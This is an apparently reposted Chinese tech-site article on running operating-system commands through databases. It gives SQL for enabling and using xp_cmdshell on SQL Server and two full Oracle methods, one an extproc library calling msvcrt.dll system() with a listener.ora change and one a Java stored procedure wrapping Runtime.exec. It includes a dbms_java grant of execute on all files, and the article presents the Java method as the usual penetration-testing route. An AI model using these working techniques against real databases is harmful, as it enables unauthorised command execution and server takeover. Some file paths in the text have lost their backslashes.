加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 百科 > 正文

Oracle 任意命令执行

发布时间:2020-12-12 15:07:51 所属栏目:百科 来源:网络整理
导读:Oracle环境下执行系统命令的相关内容1、这里先提一下在SQL Server中执行系统命令的方法:执行命令的SQL语句:EXEC xp_cmdshell 'whoami'由于数据库默认的安全策略,xp_cmdshell是被禁用的,但是可以开启,不过前提是权限足够,很多时候都是直接用sa登录的,
Oracle环境下执行系统命令的相关内容

1、这里先提一下在SQL Server中执行系统命令的方法:
执行命令的SQL语句:EXEC xp_cmdshell 'whoami'
由于数据库默认的安全策略,xp_cmdshell是被禁用的,但是可以开启,不过前提是权限足够,很多时候都是直接用sa登录的,所以权限不是问题。
启用xp_cmdshell的SQL语句:EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;

2、Oracle的sqlplus命令行客户端中的host命令说明:
host是sqlplus的内置命令,作用是执行外部扩展命令,也就是执行本地系统命令,因此通过这种方式执行的是当前操作系统的命令,这就相当于是sqlplus的操作者在自己的系统上开了个cmd窗口执行命令一样,执行的并不是远程数据库所在系统的命令。

3、Oracle执行远程命令:

第一种方法:

CREATE OR REPLACE LIBRARY
exec_shell AS 'C:windowssystem32msvcrt.dll';
/

CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/

CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec (cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/

exec oracmd.exec ('whoami > D:110.txt');

备注:
这个方法需要修改一处配置并重启数据库监听器。
具体在 C:oraclexeapporacleproduct11.2.0servernetworkADMINlistener.ora 的第6行添加 (ENVS = EXTPROC_DLLS=ANY),改成类似如下这样:
SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = PLSExtProc)
      (ORACLE_HOME = C:oraclexeapporacleproduct11.2.0server)
      (ENVS = EXTPROC_DLLS=ANY)
      (PROGRAM = extproc)
    )
...

说明:这种方式执行命令的原理就是通过C语言调用外部动态链接库中的api函数;考虑到还要修改配置文件,所以这种方法的通用性不如第二种方法好,就上面这个例子而言,要成功执行必须是在安装了VC运行时库的Windows系统上,因为这里就是通过调用msvcrt.dll中的system()函数实现命令执行的。不过这种方法也有一个优点,那就是在Oracle的Express版上也能用,相反第二种方法就不行。

第二种方法:

create or replace and compile
java source named "java_util"
as
import java.io.*;
import java.lang.*;
public class java_util extends Object
{
    public static int RunThis(String args)
    {
        Runtime rt = Runtime.getRuntime();
        int ret = -1;
        try
        {
            Process p = rt.exec(args);
            int bufSize = 4096;
            BufferedInputStream bis = new BufferedInputStream(p.getInputStream(),bufSize);
            int len;
            byte buffer[] = new byte[bufSize];
            while ((len = bis.read(buffer,bufSize)) != -1)
                System.out.write(buffer,len);
            ret = p.waitFor();
        }
        catch (Exception e)
        {
            e.printStackTrace();
            ret = -1;
        }
        finally
        {
            return ret;
        }
    }
}
/

create or replace
function run_cmd(p_cmd in varchar2) return number
as
language java
name 'java_util.RunThis(java.lang.String) return integer';
/

create or replace
procedure shell(p_cmd in varChar)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/

exec shell('whoami > D:120.txt');

备注:

如果是在sqlplus客户端中执行以上SQL语句,则可以通过如下方法查看执行命令后返回的结果:
在执行shell存储过程之前执行以下两条语句:
set serveroutput on;
exec dbms_java.set_output(131072);

执行shell存储过程时可能报权限不足无法执行命令的错误,通过如下方法赋权:
exec dbms_java.grant_permission( '当前登录用户名','SYS:java.io.FilePermission','<<ALL FILES>>','execute' )

说明:这种方式执行命令的原理就是java存储过程,因此通用性非常好,渗透测试人员攻击Oracle时通常都是这样执行系统命令的。最后提一下,因为Oracle的Express版是不支持jvm的,因此这种方法在Express版上无效。

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读